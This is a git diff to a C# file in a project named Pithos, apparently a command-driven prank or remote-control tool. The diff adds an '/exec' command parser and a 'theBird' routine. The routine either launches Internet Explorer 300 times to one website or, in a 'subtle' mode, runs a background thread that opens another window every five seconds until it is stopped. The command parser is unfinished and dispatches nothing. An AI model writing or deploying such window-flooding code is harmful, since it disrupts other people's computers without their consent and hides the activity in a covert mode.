diff --git a/pithosPrograms.cs b/pithosPrograms.cs index 6dfae9d..d3043cd 100644 --- a/pithosPrograms.cs +++ b/pithosPrograms.cs @@ -2,20 +2,36 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using System.Threading.Tasks; +using System.Threading; using System.IO; - +using System.Diagnostics; +using System.Drawing; namespace Pithos { class pithosPrograms { + private static volatile bool DIE = false; + private static string tempPath = Path.GetTempPath(); + private static bool isSubtle(string[] input) { return (input[0].Substring(0, 1) == "-" && input[0].ToLower().Contains('s')); } + public static void decodeInput(string text) { - text.Replace("/exec ", ) - } - private static void CD(bool subtle) - { + string[] input = text.Replace("/exec ", "").Split(' '); + bool subtle = isSubtle(input); + string execution = input[1]; } + + private static void theBird(bool subtle) { + if (subtle) { + Thread thr = new Thread(new ThreadStart(theBirdSubtle)); + thr.Start(); + Program.MW.display("Bird Thread Started.", Color.Orange); + } else { + Program.MW.display("Generating Windows...", Color.ForestGreen); + for (int i = 0; i < 300; i++) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); } + } + } + private static void theBirdSubtle() { while (!DIE) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); Thread.Sleep(5000); } } } }